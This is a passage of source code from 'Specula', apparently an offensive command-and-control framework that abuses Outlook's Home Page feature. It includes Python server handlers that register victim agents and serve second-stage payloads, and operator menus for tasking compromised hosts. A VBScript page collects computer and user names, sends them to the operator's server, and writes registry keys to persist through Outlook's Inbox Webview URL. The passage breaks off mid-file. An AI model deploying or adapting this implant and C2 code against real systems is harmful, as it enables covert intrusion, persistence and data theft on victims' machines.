self.application.helpers.save_agents_to_file() #UPDATE DB FILE\n                        if gconfig.PUSH_VALIDATION == \"True\":\n                            self.application.helpers.sendPush(remote_ip, base64.b64decode(sessionid).decode(\"utf-16le\", \"ignore\"), \"New Validation Ongoing!\")\n            \n                else:  # Empty DB - Register agent\n                    self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \") (\" + agent_hostname + \"): Not in Database - New Agent - Registering in Database\")\n                    self.application.helpers.speclog(\"*** [VALIDATION CHECK] (\" + remote_ip + \") (\" + agent_hostname + \"): Writing post data to agent_data/\" + agent_hostname + \".txt\")\n                    agent_log = open(\"agent_data/\" + agent_hostname + \".txt\", \"a+\")\n                    agent_log.write(datetime.now().strftime(gconfig.TIME_FORMAT) + \"\\n\")\n                    agent_log.write(\"Hostname|Username:\\n\")\n                    agent_log.write(agent_hostname) ## Add username\n                    agent_log.write(base64.b64decode(sessionid).decode(\"utf-16le\", \"ignore\") + \"\\n\\n\")\n                    agent_log.close()\n                    self.application.helpers.a_list.register_agent(sessionid, remote_ip, user_agent, datetime.now().strftime(gconfig.TIME_FORMAT))\n                    self.application.helpers.save_agents_to_file() #UPDATE DB FILE\n                    if gconfig.PUSH_VALIDATION == \"True\":\n                        self.application.helpers.sendPush(remote_ip, base64.b64decode(sessionid).decode(\"utf-16le\", \"ignore\"), \"New Validation Ongoing!\")\n            except ValueError:\n                self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \") - POST data sent was invalid - Might be DFIR\")\n        else:\n            self.application.helpers.speclog(\"*** [ALERT] (\" + remote_ip + \") - Invalid Useragent on POST - Something phishy is going on!\")\n            self.set_status(404)\n\n\nclass UnknownPageHandler(tornado.web.RequestHandler):\n    \"\"\"No Endpoint Handler.\"\"\"\n\n    def set_default_headers(self):\n        self.set_header('Server', gconfig.SERVER_HEADER)\n\n    def get(self):\n        ips = [a.remoteip for a in self.application.helpers.a_list]\n        if self.request.remote_ip in ips:\n            agent = [a for a in self.application.helpers.a_list if a.remoteip == self.request.remote_ip][0]\n            paths = [urlparse(a).path for a in agent.otherurls.keys()]\n            if self.request.uri in paths:\n                self.application.helpers.speclog(\n                    \"*** [AGENTCOM] (\" + agent.remoteip + \") (\" + agent.hostname + \"): Requesting second stage\")\n                self.set_header(\"Cache-Control\", \"no-store\")\n                self.write(agent.otherurls.pop(gconfig.DNS_NAME + self.request.uri))\n                return\n        ### Default Get Handler ###\n        self.application.helpers.weblog.warning('Request to Invalid Page from {}'.format(self.request.remote_ip))\n        self.application.helpers.speclog(\"*** [ALERT] (\" + self.request.remote_ip + \") - Connection attempt to none Specula url - Possibly DFIR or Internet saying hello\")\n        if gconfig.PUSH_CONNECTION_OUTSIDESPECULA == \"True\":\n            self.application.helpers.sendPush(self.request.remote_ip, self.request.uri, \"Connection attempt outside of Specula\")\n        self.application.helpers.speclog(\"*** [ALERT] (\" + self.request.remote_ip + \") - [URL]: \" + self.request.full_url())\n        #self.write('{\"status\": \"ERROR: Unknown API Endpoint.\"}\\n')\n        return\n\n### FUNCTIONS ###\n"
  },
  {
    "path": "lib/handlers/validation.html",
    "content": "<html>\r\n<head>\r\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\r\n<meta http-equiv=\"refresh\" content=\"{{ REFRESH_TIME }}\">\r\n<meta http-equiv=\"Cache-Control\" content=NO-CACHE, no-store, must-revalidate, max-age=0\" />\r\n<meta http-equiv=\"Pragma\" content=\"no-cache\" />\r\n<meta http-equiv=\"EXPIRES\" CONTENT=\"0\">\r\n<title>Outlook</title>\r\n<style>\r\nbody {\r\n    overflow: hidden;\r\n    border: 0px;\r\n    padding: 0px;\r\n    margin: 0px;\r\n}\r\n</style>\r\n<script id=clientEventHandlersVBS language=vbscript>\r\n<!--\r\nOn Error Resume Next\r\n\r\nFunction GetEnvironment()\r\n    On Error Resume Next\r\n    Set sh = outlookapp.CreateObject(\"Wscript.Shell\")\r\n\tcompname = sh.ExpandEnvironmentStrings(\"%COMPUTERNAME%\")\r\n\tusern = sh.ExpandEnvironmentStrings(\"%USERNAME%\")\r\n\tr = BaseDecode(compname & \"|\" & usern,1)\r\n\tGetEnvironment = r\r\nEnd Function\r\n\r\nFunction SetRegKey(subkey,value,valuetype)\r\n\tOn Error Resume Next\r\n\tSet oL = outlookapp.CreateObject(\"Wscript.Shell\")\r\n\tol.RegWrite subkey, value, valuetype\r\nEnd Function\r\n\r\nFunction BaseDecode(value, LE)\r\n\tOn Error Resume Next\r\n\tWith outlookapp.CreateObject(\"Msxml2.DOMDocument\").CreateElement(\"aux\")\r\n\t\t.DataType = \"bin.base64\"\r\n\t\tif LE then\r\n\t\t\t.NodeTypedValue = StrToBytes(value, \"utf-16le\", 2)\r\n\t\telse\r\n\t\t\t.NodeTypedValue = StrToBytes(value, \"utf-8\", 3)\r\n\t\tend if\r\n\t\tBaseDecode = .Text\r\n\tEnd With\r\nEnd Function\r\n\r\nFunction requestpage(uri, rR)\r\n\tOn Error Resume Next\r\n\tvi = Left(outlookapp.version,4)\r\n\td = rR\r\n\tset oP = outlookapp.CreateObject(\"MSXML2.ServerXMLHTTP\")\r\n\toP.open \"POST\", uri,false\r\n\toP.setRequestHeader \"Content-Type\", \"application/x-www-form-urlencoded\"\r\n\toP.setRequestHeader \"Content-Length\", Len(d)\r\n\toP.setRequestHeader \"User-Agent\", \"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Specula; Microsoft Outlook \" & vi\r\n\toP.setOption 2, 13056\r\n\toP.send Replace(d, vbLf, \"\")\r\n\trequestpage = oP.responseText\r\nEnd Function\r\n\r\nFunction StrToBytes(strn, cset, pos)\r\n\tOn Error Resume Next\r\n\tWith outlookapp.CreateObject(\"ADODB.Stream\")\r\n\t\t\t.Type = 2\r\n\t\t\t.Charset = cset\r\n\t\t\t.Open\r\n\t\t\t.WriteText strn\r\n\t\t\t.Position = 0\r\n\t\t\t.Type = 1\r\n\t\t\t.Position = pos\r\n\t\t\tStrToBytes = .Read\r\n\t\t\t.Close\r\n\tEnd With\r\nEnd function\r\n\r\nO = \"\"\r\nuriloc = \"{{ DNS }}{{ PORT }}{{ URL }}\"\r\nSet outlookapp = window.external.OutlookApplication\r\n\r\nSub window_onload()\r\n\tO = GetEnvironment()\r\n\trul = requestpage(uriloc, chr(34) & O & chr(34))\r\n\t\r\n\tif not rul = \"\" Then\r\n\t\tSet box = outlookapp.GetNameSpace(\"MAPI\")\r\n\t\tSet fold = box.GetDefaultFolder(9)\r\n\t\tval1 = SetRegKey(\"HKCU\\\" & {{ ENCRYPTIONKEY_LOCATION }} & \"\\\" & {{ ENCRYPTIONKEY_VALUENAME }}, Split(rul,\"||\")(0), \"REG_SZ\")\r\n\t\tval2 = SetRegKey(\"HKCU\\Software\\Microsoft\\Office\\\" & Left(outlookapp.version,4) & \"\\Outlook\\Webview\\Inbox\\URL\", Split(rul,\"||\")(1), \"REG_SZ\")\r\n\t\tval3 = SetRegKey(\"HKCU\\Software\\Microsoft\\Internet Explorer\\Styles\\MaxScriptStatements\", &Hffffffff, \"REG_DWORD\")\r\n\t\tSet outlookapp.ActiveExplorer.CurrentFolder = fold\r\n\tEnd if\r\nEnd Sub\r\n-->\r\n</script>\r\n</head>\r\n\r\n<body>\r\n<object classid=\"CLSID:{{ CLSID }}\" id=\"{{ OUTLOOK_VIEW_ID }}\" data=\"\" width=\"100%\" height=\"100%\"></object>\r\n</body>\r\n</html>"
  },
  {
    "path": "lib/menu/specpromptdbedit.py",
    "content": "import random\nimport secrets\nimport string\nimport os\nimport cmd\nimport base64\nimport inspect\nfrom datetime import datetime\nfrom lib.core.setup import gconfig\nfrom lib.core.helpers import Helpers\n\n\nclass SpecPromptDbedit(cmd.Cmd):\n    def __init__(self, selected_agent, helpers):\n        print(\"SHOULD ONLY BE USED FOR EDITING IF YOU KNOW WHAT YOU ARE DOING!\")\n        self.ranAuto = False\n        self.helpers = helpers\n        self.selected_agent = selected_agent\n        super().__init__()\n        while len(self.helpers.rccommands) > 0:\n            if self.onecmd(self.helpers.rccommands.pop(0)) is True:\n                self.ranAuto = True\n                return\n    completekey = 'tab'\n\n    def precmd(self, line): # Added for operator logging\n        self.helpers.operatorlog(str(\"  \"+line), False)\n        return(line)\n\n    def emptyline(self):\n        \"\"\"Called when an empty line is entered in response to the prompt.\n\n        If this method is not overridden, it repeats the last nonempty\n        command entered.\n\n        \"\"\"\n        if self.lastcmd:\n            self.lastcmd = \"\"\n            return self.onecmd('\\n')\n    \n    def do_list(self, inp):\n        outlist = {}\n        try:\n            for value in vars(self.selected_agent):\n                if value == \"encryptedvbsfunctions\":\n                    pass\n                elif value == \"tasks\":\n                    outlist.update( {\"tasks in queue\" : len(self.selected_agent.tasks) })\n                else:\n                    outlist.update( {value : str(vars(self.selected_agent)[value]) })\n            for key,val in sorted(outlist.items()):\n                print(\"{} : {}\".format(key,val) , end=\"\\n\")\n        except ValueError:\n            print(\"Something went wrong...Not sure what\")\n    \n    def help_list(self):\n        print(\"Description: Lists out all agent properties\")\n        print(\"Usage: list\")\n\n    def do_set(self, cmd):\n        args = Helpers.getarguments(cmd)\n        if len(args) == 0:\n            print(\"You need to specify a value to edit\")\n            return\n        key = args.pop(0)\n        if len(args) == 0:\n            val = None\n        else:\n            val = ' '.join(args)\n        try:\n            if hasattr(self.selected_agent, key):\n                setattr(self.selected_agent, key, val)\n                print(\"{} Updated to {}\".format(key,val))\n            else:\n                print(\"Invalid setting\")\n        except Exception as msg:\n            print(\"Failed to set option: {}\".format(msg))\n\n    def help_set(self):\n        print(\"Description: use this to change a setting\")\n        print(\"Usage: set <settingname> <value>\")\n        print(\"Should only be used if you know what you are doing\\n\"\n              \"Example: set refreshtime 100\\n\"\n              \"Example: set keysent False\")\n\n\n    def complete_set(self, text, line, begidx, endidx):\n        return [i for i, j in inspect.getmembers(self.selected_agent) if i.startswith(text) and i[0] != '_']\n\n\n\n    def do_clear(self, inp):\n        os.system('clear')\n\n    def help_clear(self):\n        print(\"Description: Clears the screen\")\n        print(\"Usage: clear\")\n    \n    def do_back(self, inp):\n        return True\n\n    def help_back(self):\n        print(\"Description: Goes back in the menu\")\n        print(\"Usage: back\")\n\n"
  },
  {
    "path": "lib/menu/specpromptexplorer.py",
    "content": "\nimport os\nimport cmd\nimport copy\nfrom pathlib import PureWindowsPath\nimport traceback\nfrom datetime import datetime\nfrom lib.core.setup import gconfig\nfrom lib.core.helpers import Helpers\nfrom lib.menu.specpromptmodule import SpecPromptModule\nfrom lib.core.utility import TaskClass\n\nclass SpecPromptExplorer(cmd.Cmd):\n    def __init__(self, selected_agent, helpers):\n        self.ranAuto = False\n        self.helpers = helpers\n        self.selected_agent = selected_agent\n        self.pathvar = PureWindowsPath(\"c:/\")\n        super().__init__()\n        while len(self.helpers.rccommands) > 0:\n            if self.onecmd(self.helpers.rccommands.pop(0)) is True:\n                self.ranAuto = True\n                return\n    completekey = 'tab'\n\n    def precmd(self, line): # Added for operator logging\n        self.helpers.operatorlog(str(\"   \"+line), False)\n        return(line)\n\n    def emptyline(self):\n        \"\"\"Called when an empty line is entered in response to the prompt.\n\n        If this method is not overridden, it repeats the last nonempty\n        command entered.\n\n        \"\"\"\n        if self.lastcmd:\n            self.lastcmd = \"\"\n            return self.onecmd('\\n')\n    \n    def do_back(self, inp):\n        return True\n\n    def help_back(self):\n        print(\"Description: Goes back in the menu\")\n        print(\"Usage: back\")\n    \n    def do_clear(self, inp):\n        os.system('clear')\n    \n    def help_clear(self):\n        print(\"Description: Clears the screen\")\n        print(\"Usage: clear\")\n\n    def do_refreshtime(self, inp):\n        try:\n            self.selected_agent.refreshtime = int(inp)\n            self.helpers.save_agents_to_file()\n        except ValueError:\n            print(\"Enter a digit value: 1-99999\")\n    \n    def help_refreshtime(self):\n        print(\"Description: Sets the refreshtime for the agent - specified in seconds\")\n        print(\"Usage: refreshtime 360\")\n\n    def do_jitter(self, inp):\n        try:\n            self.selected_agent.jitter = int(inp)\n            self.helpers.save_agents_to_file()\n        except ValueError:\n            print(\"Enter a digit value: 1-99999\")\n    \n    def help_jitter(self):\n        print(\"Description: Sets the jitter for the agent - specified in seconds\")\n        print(\"Usage: jitter 360\")\n\n    def do_pushnextcallback(self, inp):\n        self.selected_agent.pushnextcallback = True\n    \n    def help_pushnextcallback(self):\n        print(\"Description: Enables pushover notification on next callback from agent\")\n\n    def do_ls(self, inp):\n        try:\n            mod = self.helpers.get_module('operation/file/list_dir')\n            mod.options['recurselevels']['value'] = \"0\"\n            mod.options['filetype']['value'] = \"*\"\n            mod.options['filename']['value'] = \"*\"\n            mod.options['nodirectories']['value'] = \"False\"\n            mod.options['nofiles']['value'] = \"False\"\n            mod.options['sizeformat']['value'] = \"mb\"\n            mod.options['output_console']['value'] = \"True\"\n            mod.options['directory']['value'] = str(self.pathvar)\n            task = TaskClass('operation/file/list_dir',\n                             self.helpers.renderModule(mod, self.selected_agent),\n                             mod.entry,\n                             copy.deepcopy(mod.options),\n                             True)\n            self.selected_agent.add_task(task)\n        except Exception as msg:\n            print(\" *** Error processing input: {}\".format(msg))\n    \n    def help_ls(self):\n        print(\"Description: List out directory and files from the current directory\")\n        print(\"Usage: ls\")\n\n    def do_cd(self, inp):\n        try:\n            if inp == \"..\":\n                self.pathvar = PureWindowsPath(self.pathvar.parent)\n            elif inp == \"\\\\\":\n                self.pathvar = PureWindowsPath(self.pathvar.anchor)\n            else:\n                self.pathvar = PureWindowsPath(self.pathvar,inp)\n        except Exception as msg:\n            print(\" *** Error processing input: {}\".format(msg))\n    \n    def help_cd(self):\n        print(\"Description: Change directory\")\n        print(\"Usage: cd temp\")\n        print(\"Usage: cd.. or cd ..\")\n        print(\"Usage: cd \\\\\")\n\n    def do_pwd(self, inp):\n        try:\n            print(str(self.pathvar))\n        except Exception as msg:\n            print(\" *** Error processing input: {}\".format(msg))\n    \n    def help_pwd(self):\n        print(\"Description: Change directory\")\n        print(\"Usage: cd temp\")\n        print(\"Usage: cd..\")\n\n    def do_cat(self, inp):\n        try:\n            file = PureWindowsPath(self.pathvar,inp)\n            mod = self.helpers.get_module('operation/file/cat_file')\n            mod.options['file']['value'] = str(file)\n            mod.options['output_console']['value'] = \"True\"\n            task = TaskClass('operation/file/cat_file',\n                             self.helpers.renderModule(mod, self.selected_agent),\n                             mod.entry,\n                             copy.deepcopy(mod.options),\n                             True)\n            self.selected_agent.add_task(task)\n        except Exception as msg:\n            print(\" *** Error processing input: {}\".format(msg))\n    \n    def help_cat(self):\n        print(\"Description: Does Cat on the file to the screen. It uses the current path (pwd)+whatyoutype\")\n        print(\"Usage: cat file.txt\")"
  },
  {
    "path": "lib/menu/specpromptinteract.py",
    "content": "\nimport os\nimport cmd\nimport traceback\nfrom datetime import datetime\nfrom lib.core.setup import gconfig\nfrom lib.core.helpers import Helpers\nfrom lib.menu.specpromptmodule import SpecPromptModule\nfrom lib.menu.specpromptexplorer import SpecPromptExplorer\nclass SpecPromptInteract(cmd.Cmd):\n    def __init__(self, selected_agent, helpers):\n        self.ranAuto = False\n        self.helpers = helpers\n        self.selected_agent = selected_agent\n        super().__init__()\n        while len(self.helpers.rccommands) > 0:\n            if self.onecmd(self.helpers.rccommands.pop(0)) is True:\n                self.ranAuto = True\n                return\n    completekey = 'tab'\n\n    def precmd(self, line): # Added for operator logging\n        self.helpers.operatorlog(str(\"  \"+line), False)\n        return(line)\n\n    def emptyline(self):\n        \"\"\"Called when an empty line is entered in response to the prompt.\n\n        If this method is not overridden, it repeats the last nonempty\n        command entered.\n\n        \"\"\"\n        if self.lastcmd:\n            self.lastcmd = \"\"\n            return self.onecmd('\\n')\n    \n    def do_back(self, inp):\n        return True\n\n    def help_back(self):\n        print(\"Description: Goes back in the menu\")\n        print(\"Usage: back\")\n    \n    def do_info(self, inp):\n        outlist = {}\n        try:\n            for value in vars(self.selected_agent):\n                if value == \"encryptedvbsfunctions\":\n                    pass\n                elif value == \"tasks\":\n                    outlist.update( {\"tasks in queue\" : len(self.selected_agent.tasks) })\n                else:\n                    outlist.update( {value : str(vars(self.selected_agent)[value]) })\n            for key,val in sorted(outlist.items()):\n                print(\"{} : {}\".format(key,val) , end=\"\\n\")\n        except ValueError:\n            print(\"Something went wrong...Not sure what\")\n\n    def help_info(self):\n        print(\"Description: Lists out all agent properties\")\n        print(\"Usage: info\")\n\n    def do_clear(self, inp):\n        os.system('clear')\n    \n    def help_clear(self):\n        print(\"Description: Clears the screen\")\n        print(\"Usage: clear\")\n\n    def do_clearagentdata(self, inp):\n        while 1:\n            confirm = input(\"Are you sure you want to delete agentdata from:\\n\" + self.selected_agent.hostname + \"\\nYou will not be able to recover this data after you answer yes. \\n\\nYou have been WARNED!\\n\\nType YES to confirm (needs to be uppercase) - Anything else will exit without deleting\\nThis will delete the content inside the txt file in the agent_data folder\\n\")\n            if confirm == \"YES\":\n                open(\"agent_data/\" + self.selected_agent.hostname + \".txt\", \"w\").close()\n                break\n            else:\n                break\n        return True\n    \n    def help_clearagentdata(self):\n        print(\"Description: Deletes the agents data in the agentdata folder\")\n        print(\"Usage: clearagentdata\")\n\n    def do_delete(self, inp):\n        while 1:\n            confirm = input(\"Are you sure you want to delete:\\n\" + self.selected_agent.hostname + \" \" + self.selected_agent.username + \" \" + self.selected_agent.remoteip + \"\\n\\nA PREFERRED WAY WOULD BE TO RUN THE TASK: Exe - Remove Homepage.\\nYou will not be able to recover this agent after you answer yes. \\n\\nYou have been WARNED!\\n\\nType YES to confirm (needs to be uppercase) - Anything else will exit without deleting\\nThis will not delete txt files in agent_data folder\\n\")\n            if confirm == \"YES\":\n                self.helpers.a_list.remove(self.selected_agent)\n                self.helpers.save_agents_to_file()\n                break\n            else:\n                break\n        return True\n    \n    def help_delete(self):\n        print(\"Description: Delete this agent completly from the database, will NOT delete data file in the agents_data folder\")\n        print(\"Usage: delete\")\n\n    def do_refreshtime(self, inp):\n        try:\n            self.selected_agent.refreshtime = int(inp)\n            self.helpers.save_agents_to_file()\n        except ValueError:\n            print(\"Enter a digit value: 1-99999\")\n    \n    def help_refreshtime(self):\n        print(\"Description: Sets the refreshtime for the agent - specified in seconds\")\n        print(\"Usage: refreshtime 360\")\n\n    def do_jitter(self, inp):\n        try:\n            self.selected_agent.jitter = int(inp)\n            self.helpers.save_agents_to_file()\n        except ValueError:\n            print(\"Enter a digit value: 1-99999\")\n    \n    def help_jitter(self):\n        print(\"Description: Sets the jitter for the agent - specified in seconds\")\n        print(\"Usage: jitter 360\")\n\n    def do_data(self, inp):\n        try:\n            print(\"\\n*** Listing data for {}. ***\".format(self.selected_agent.hostname))\n            print(open('./agent_data/'+self.selected_agent.hostname+'.txt', \"r\").read())\n        except FileNotFoundError:\n            print(\"File with data not found - verify that ./agent_data/{}.txt exists\".format(self.selected_agent.hostname))\n    \n    def help_data(self):\n        print(\"Description: List out the data retrieved from the agent.\")\n        print(\"Usage: data\")\n    \n    def do_qlist(self, inp):\n        if len(self.selected_agent.tasks) == 0:\n            print(\"Empty queue\")\n        else:\n            for item in self.selected_agent.tasks:\n                print(\"Queue Item #{}\".format(self.selected_agent.tasks.index(item) +1))\n                print(\"\\tModule Name:\\t{}\".format(item.name))\n                print(\"\\tTime Added:\\t{}\".format(item.added))\n                print(\"\\tTime Passed:\\t{}\".format(datetime.strptime(datetime.now().strftime(gconfig.TIME_FORMAT), gconfig.TIME_FORMAT)-datetime.strptime(item.added,gconfig.TIME_FORMAT)))\n                if hasattr(item, 'status'):\n                    print(\"\\tstatus:\\t{}\".format(item.status))\n                for arg in item.options.keys():\n                    if 'hidden' in item.options[arg] and item.options[arg]['hidden']:\n                        continue\n                    print(\"\\t{}:\\t{}\".format(arg, item.options[arg]['value']))\n                print(\"\\n\")\n            print(\"Agent Last check-in: {}\".format(self.selected_agent.lastcheckin))\n\n    def help_qlist(self):\n        print(\"Description: Lists out the current task queue for the agent\")\n        print(\"Usage: qlist\")\n\n    def do_qdel(self, inp):\n        try:\n            if inp == \"*\":\n                print(\"Deleted all queued tasks\")\n                del self.selected_agent.tasks[:]\n            else:\n                inp = int(inp) - 1 #starts a 0, queue lists from 1\n                print(\"Deleting {}\".format(self.selected_agent.tasks[inp].name))\n                self.selected_agent.tasks.pop(inp)\n            self.helpers.save_agents_to_file()\n        \n        except SyntaxError:\n            print(\"Not a valid number\")\n        \n        except ValueError:\n            print(\"Enter a digit or * to delete all tasks in queue - see help\")\n\n        except IndexError:\n            print(\"Not a valid queue number - Use queue command to list\")\n\n    def help_qdel(self):\n        print(\"Description: Delete either specified task by id or all by specifying *\")\n        print(\"Usage: qdel <id>\")\n        print(\"Usage: qdel *\")\n\n    def do_usemodule(self, inp):\n        try:\n            selected_module = self.helpers.get_module(inp)\n            i = SpecPromptModule(self.helpers, selected_module, self.selected_agent, self.prompt[:-1]+':'+inp+'>')\n            if i.ranAuto:\n                return\n            i.cmdloop()\n        except KeyError:\n            traceback.print_exc()\n            print(\"Error - Did you type a valid module name?\")\n        except ValueError:\n            traceback.print_exc()\n            print(\"Error - Did you type a valid module name?\")\n        except TypeError:\n            traceback.print_exc()\n            print(\"Error - Did you type a valid module name?\")\n        except AttributeError:\n            traceback.print_exc()\n            print(\"Error - Did you type a valid module name?\")\n\n\n    def help_usemodule(self):\n        print(\"Description: Interact with specified module\")\n        print(\"Usage: usemodule <modulename>\")\n\n    def do_explorer(self, inp):\n        try:\n            #agent = self.helpers.a_list.get_agent(int(inp))\n            i = SpecPromptExplorer(self.selected_agent, self.helpers)\n            if i.ranAuto:\n                return\n            i.prompt = self.prompt[:-1]+':'+self.selected_agent.hostname+':Explorer>'\n            i.cmdloop()\n        except KeyError:\n            traceback.print_exc()\n            print(\"Error - Did you type a valid module name?\")\n        except ValueError:\n            traceback.print_exc()\n            print(\"Error - Did you type a valid module name?\")\n        except TypeError:\n            traceback.print_exc()\n            print(\"Error - Did you type a valid module name?\")\n        except AttributeError:\n            traceback.print_exc()\n            print(\"Error - Did you type a valid module name?\")\n\n\n    def help_explorer(self):\n        print(\"Description: Starts the explorer module\")\n        print(\"Usage: explorer\")\n\n    def do_pushnextcallback(self, inp):\n        self.selected_agent.pushnextcallback = True\n    \n    def help_pushnextcallback(self):\n        print(\"Description: Enables pushover notification on next callback from agent\")\n\n    def complete_usemodule(self, text, line, begidx, endidx):\n        return [i for i in self.helpers.modlist.keys() if i.startswith(text)]\n\n    def do_runTaskBook(self, cmd):\n        try:\n            if not (self.selected_agent.encryptionkey):\n                print(\"Agent does not have an encryption key yet. Cannot queue tasks before it is a fully agent\")\n                return False\n            task = self.helpers.taskbooks[cmd]\n            task.TaskBook(self.helpers, self.selected_agent)\n        except KeyError:\n            traceback.print_exc()\n            print(\"Error - Did you type a valid taskbook name?\")\n        except Exception as msg:\n            traceback.print_exc()\n            print(\"handled error running taskbook: {}\".format(msg))\n\n    def complete_runTaskBook(self, text, line, begidx, endidx):\n        return [i for i in self.helpers.taskbooks.keys() if i.startswith(text)]\n\n    def help_runTaskbook(self):\n        print(\"Usage: runTaskbook <taskbookname>\")"
  },
  {
    "path": "lib/menu/specpromptmodule.py",
    "content": "import copy\nimport os\nimport cmd\nimport traceback\n\nfrom lib.core.utility import TaskClass\nfrom lib.core.helpers import Helpers\n\nclass SpecPromptModule(cmd.Cmd):\n    def __init__(self, helpers, selected_module, selected_agent, prompt):\n        self.ranAuto = False\n        self.selected_module = selected_module\n        self.selected_agent = selected_agent\n        self.helpers = helpers\n        self.prompt = prompt\n        super().__init__()\n        while len(self.helpers.rccommands) > 0:\n            if self.onecmd(self.helpers.rccommands.pop(0)) is True:\n                self.ranAuto = True\n                return\n\n    completekey = 'tab'\n\n    def precmd(self, line): # Added for operator logging\n        self.helpers.operatorlog(str(\"    \"+line), False)\n        return(line)\n\n    #def preloop(self):\n    #     #Define a task\n    #     self.task = TaskClass(self.selected_module.name, self.selected_module.category, self.selected_module.subcat, self.selected_module.funcname, self.selected_module.args)\n    #     self.do_options(\"display\")\n            # with open('random.txt', 'a') as file:\n            # file.write('This is a line of text to append to the file.\\n')\n\n        \n\n    def emptyline(self):\n        \"\"\"Called when an empty line is entered in response to the prompt.\n\n        If this method is not overridden, it repeats the last nonempty\n        command entered.\n\n        \"\"\"\n        if self.lastcmd:\n            self.lastcmd = \"\"\n            return self.onecmd('\\n')\n\n    def do_back(self, inp):\n        return True\n    \n    def help_back(self):\n        print(\"Description: Goes back in the menu\")\n        print(\"Usage: back\")\n\n    def do_options(self, cmd):\n        print(\"Module Help/Description: \\n\\t{}\".format(self.selected_module.help))\n        for k, v in self.selected_module.options.items():\n            if 'hidden' in v and v['hidden'] is True:\n                continue\n            print(\"\\n  {}\\n\\tValue: {}\\n\\tRequired: {}\\n\\tDescription: {}\".format(k, v['value'], v['required'],\n                                                                                  v['description']))\n        print(\"\\nUse set to change any presented options above.  If you do not see options, you can't configure this module\")\n        \n    def help_options(self):\n        print(\"Description: Shows the module options that are currently set\")\n        print(\"Usage: options\")\n\n    def do_set(self, cmd):\n        \"\"\"set PROFILE testprofile\n        sets option for handler.\"\"\"\n        try:\n            mykey = cmd.split(\" \")[0].strip()\n            myvalue = cmd.replace(\"%s \" % (mykey), \"\")\n            if mykey in list(self.selected_module.options.keys()):\n                self.selected_module.set_option(mykey, myvalue)\n            else:\n                print(\" *** Invalid value : %s\" % (mykey))\n        except Exception as msg:\n            print(\" *** Error processing input: {}\".format(msg))\n\n    def complete_set(self, text, line, start_index, end_index):\n        arguments = self.helpers.getarguments(line)\n        keylist = set(self.selected_module.options.keys())\n        filter = set()\n        for key in keylist:\n            if 'hidden' in self.selected_module.options[key] and self.selected_module.options[key]['hidden'] is True:\n                filter.add(key)\n        keylist = list(keylist - filter)\n        if len(arguments) > 1:\n            arguments.pop(0)\n        if arguments[0] in keylist:\n            if 'tab_complete' in self.selected_module.options[arguments[0]]:\n                args = {}\n                if 'tab_args' in self.selected_module.options[arguments[0]]:\n                    args = self.selected_module.options[arguments[0]]['tab_args']\n                    if not isinstance(args, dict):\n                        print(\" *** tab_args for argument {} is invalid\".format(arguments[0]))\n                        args = {}\n                return self.selected_module.options[arguments[0]]['tab_complete'](text, line, **args)\n        else:\n            if text:\n                return [\n                    name for name in keylist\n                    if name.startswith(text)\n                ]\n            else:\n                return keylist\n    \n    def help_set(self):\n        print(\"Description: Allows you to set the different options for the module\")\n        print(\"Usage: set <option> <value>\")\n\n    def do_run(self, inp):\n        try:\n            if not (self.selected_agent.encryptionkey):\n                print(\"Agent does not have an encryption key yet. Cannot queue tasks before it is a fully agent\")\n                return False\n            task = TaskClass(self.prompt[self.prompt.rfind(':')+1:-1],\n                             self.helpers.renderModule(self.selected_module, self.selected_agent),\n                             self.selected_module.entry,\n                             copy.deepcopy(self.selected_module.options),\n                             False if inp == \"False\" or (hasattr(self.selected_module, \"encrypt\") and self.selected_module.encrypt is False) else True)\n            self.selected_agent.add_task(task)\n        except RuntimeError as msg:\n            print('Unable to add Task, please correct Errors and try again')\n            traceback.print_exc()\n            return False\n        print(\"Module {} added to execution queue\".format(task.name))\n        self.helpers.save_agents_to_file()\n        return True\n\n    def help_run(self):\n        print(\"Description: Adds the module to the task queue for the agent and returns back to the agent context\")\n        print(\"Usage: run\")\n    \n    def do_add(self, inp):\n        try:\n            if not (self.selected_agent.encryptionkey):\n                print(\"Agent does not have an encryption key yet. Cannot queue tasks before it is a fully agent\")\n                return False\n            task = TaskClass(self.prompt[self.prompt.rfind(':')+1:-1],\n                             self.helpers.renderModule(self.selected_module, self.selected_agent),\n                             self.selected_module.entry,\n                             copy.deepcopy(self.selected_module.options),\n                             False if inp == \"False\" or (hasattr(self.selected_module, \"encrypt\") and self.selected_module.encrypt is False) else True)\n            self.selected_agent.add_task(task)\n        except RuntimeError as msg:\n            print('Unable to add Task, please correct Errors and try again')\n            traceback.print_exc()\n            return False\n        print(\"Module {} added to execution queue\".format(task.name))\n        self.helpers.save_agents_to_file()\n        return False\n    \n    def help_add(self):\n        print(\"Description: Adds the module to the task queue for the agent but does not exit the menu context\")\n        print(\"Usage: add\")\n        \n    def do_clear(self, inp):\n        os.system('clear')\n    \n    def help_clear(self):\n        print(\"Description: Clears the screen\")\n        print(\"Usage: clear\")\n"
  },
  {
    "path": "lib/menu/specpromptpayload.py",
    "content": "import random\nimport secrets\nimport string\nimport os\nimport cmd\nimport base64\nimport inspect\nfrom datetime import datetime\nfrom lib.core.setup import gconfig\nfrom lib.core.helpers import Helpers\nfrom lib.core.specpayload import PayloadClass\n\nclass SpecPromptPayload(cmd.Cmd):\n    def __init__(self, helpers):\n        self.ranAuto = False\n        self.helpers = helpers\n        super().__init__()\n        while len(self.helpers.rccommands) > 0:\n            if self.onecmd(self.helpers.rccommands.pop(0)) is True:\n                self.ranAuto = True\n                return\n    completekey = 'tab'\n\n    def precmd(self, line): # Added for operator logging\n        self.helpers.operatorlog(str(\"  \"+line), False)\n        return(line)\n\n    def emptyline(self):\n        \"\"\"Called when an empty line is entered in response to the prompt.\n\n        If this method is not overridden, it repeats the last nonempty\n        command entered.\n\n        \"\"\"\n        if self.lastcmd:\n            self.lastcmd = \"\"\n            return self.onecmd('\\n')\n    \n    def do_clear(self, inp):\n        os.system('clear')\n    \n    def do_list(self, inp):\n        print(\"list payloads in DB\")\n\n    def help_list(self):\n        print(\"Description: Lists out all payloads imported into Specula\")\n        print(\"Usage: list\")\n\n    def do_remove(self, inp):\n        try:\n            if inp == \"*\":\n                while 1:\n                    confirm = input(\"Are you sure you want to delete all imported payloads from the database and disk?\\n\\nType YES to confirm (needs to be uppercase) - Anything else will exit without deleting\\n\")\n                    if confirm == 